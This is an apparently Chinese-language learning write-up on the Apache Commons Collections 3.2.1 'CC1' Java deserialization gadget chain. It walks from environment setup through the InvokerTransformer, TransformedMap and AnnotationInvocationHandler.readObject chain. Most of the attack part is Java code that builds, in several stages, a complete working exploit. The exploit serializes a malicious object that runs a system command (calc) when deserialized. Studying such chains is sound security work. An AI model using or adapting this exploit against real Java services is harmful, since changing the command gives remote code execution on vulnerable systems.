0x01 环境搭建
首先正常创建Java项目,这里使用maven管理工具,JDK要求8u_65(高版本会被修复),如下图。
maven添加CC1依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
如果能成功导入以下包,则证明依赖安装成功
import org.apache.commons.collections.functors.InvokerTransformer;
接下来修改sun
包方便阅读源码,已有的JDK是 .class 文件,是已经编译完了的反编译代码,相对.java文件不太友好
在上述给出的链接中下载zip包并解压
- 先解压之前的JDK中的
src.zip
,如下
- 在刚刚下载的
OpenJDK\jdk-8u65\src\share\classes
目录下找到sun
,放入上面的src
里
- 在IDEA->Project Structure->SDKs->1.8_65->Sourcepath加入该目录
0x02 Common-Collections 相关介绍
Apache Commons Collections包和简介 | 闪烁之狐
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
包结构介绍。
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
0x03 CC1攻击链分析(TransformMap)
首先回顾复习一下反序列化攻击思路
寻找尾部危险方法
因为这里是学习,直接去看Transformer
接口
快捷键 ctrl + alt + B,查看实现接口的类。
这里跟着b站up白日梦组长看了几个实现类,最终在InvokerTransformer
的transform()
方法看到了反射调用,这里可以调用任意类任意方法,也就符合了我们攻击的要求。
这里尝试使用这个类简单calc
一下
这里是利用反射的简单demo小样
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
Runtime rt = Runtime.getRuntime();
Class c = rt.getClass();
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(rt, "calc");
}
接下来根据InvokerTransformer
类来写
package com.hsad;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Method;
public class Draft {
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
}
}
寻找反序列化链
我们已经找到在InvokerTransformer
类存在危险方法transform()
,接下来寻找谁调用了这个方法
跟进transform()
方法,使用Find usages
Ctrl+Shift+Alt+F7
选择All Places

这里就直接点出TransformedMap
的checkSetValue()
方法调用了transform()
方法
先跟着看一下valueTransformer
,这里找到了TransformedMap
构造函数,这里为protected
,但是上面有个静态方法调用了构造函数
因为TransformedMap
类是protected
的,无法直接获取到对象,可以借助decorateTransform
这个静态方法来构造,然后利用反射来命令执行,来写一个demo小样
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(rt);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, rt);
}
继续往下找,看看谁调用了checkSetValue()
方法,发现这是一个抽象类,是 TransformedMap
的父类。
调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry
setValue()
**实际上就是在 Map 中对一组 entry(键值对)**进行 setValue()
操作。


所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(rt);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("a", "b");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
// 遍历Map来触发setValue
for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(rt);
}
}
反序列化入口-readObject()
接下来我们继续跟进,发现AnnotationInvocationHandler
在readObject()
方法调用了setValue()
方法,至此我们的链子已经完整了
我们注意到类的名字为 AnnotationInvocationHandler
,InvocationHandler
这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了 InvocationHandler
接口。
0x04 CC1 Exp(TransformMap)
理想状态
我们只需要通过反射的方式来获取 AnnotationInvocationHandler
类及其构造函数,再实例化它,然后反序列化即可。
package com.hsad;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("a", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 根据AnnotationInvocationHandler构造函数获取其构造器
Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
aiconstructor.setAccessible(true);
Object o = aiconstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
不过并没有成功弹出calc,寻找一下问题:
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式。setValue()
的传参,是需要传Runtime
对象的;而在实际情况当中的setValue()
的传参是这个东西
- 之前提到的
if
条件
Fix:Runtime对象不可序列化
Runtime
是不能序列化的,但是 Runtime.class
是可以序列化的
先写一下Runtime.class的普通反射
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Method method = c.getDeclaredMethod("getRuntime");
Runtime newRuntime = (Runtime) method.invoke(null, null);
Method execMethod = c.getDeclaredMethod("exec", String.class);
execMethod.invoke(newRuntime, "calc");
}
然后将这个反射的 Runtime
改造为使用 InvokerTransformer
调用的方式
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
// 对应Method method = c.getDeclaredMethod("getRuntime");
Method runtimeMethod = (Method) new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}).transform(c);
// 对应Runtime newRuntime = (Runtime) method.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}).transform(runtimeMethod);
// 对应Method execMethod = c.getDeclaredMethod("exec", String.class);
// 对应execMethod.invoke(newRuntime, "calc");
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}).transform(runtime);
}
上述代码有很多复用性,所以我们可以使用ChainedTransformer
类来简化代码
package com.hsad.Fix;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class FixRuntime_Chain {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[] {
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(Runtime.class);
}
}
和之前写好的结合一下
package com.hsad;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[] {
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("a", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 根据AnnotationInvocationHandler构造函数获取其构造器
Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
aiconstructor.setAccessible(true);
Object o = aiconstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
此时transform()的值并没有被正确设置,并不会弹出计算器
Fix:memberType为null
这个时候我们可以打断点调试一下,发现此时memberType
为null
因为memberValue
是可控的是我们传入的transformedMap
,它触发getKey()
只会获得我们当时随意设置的"a"
,而memberType
是我们传入的第一个参数Override.class
,它里面并没有一个方法为"a"
所以此时memberType
为null。
那么解决这个问题只需要修改我们传入的第一个参数,并设置map
的key
为他的方法的名字
当我们设置传入第一个参数为Target.class
,ke为value
时,此时memberType
便不为null
Fix:setValue的传参
在第二个if
条件中,setValue
的值并不为我们期望的Runtime.class
,而是AnnotationTypeMismatchExceptionProxy
。
那我们这里找到了一个能够解决 setValue
可控参数的类 ———— ConstantTransformer
构造方法:传入的任何对象都放在
iConstant
中transform()
方法:无论传入什么,都返回iConstant
,这就类似于一个常量了。
那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy
类作为 transform()
方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class
,然后无论 transform()
方法会调用什么对象,都会返回 Runtime.class
至此我们的问题都全部解决
0x05 Exploit
以下就是最终Exp:
package com.hsad;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
Transformer[] transformer = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 根据AnnotationInvocationHandler构造函数获取其构造器
Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
aiconstructor.setAccessible(true);
Object o = aiconstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap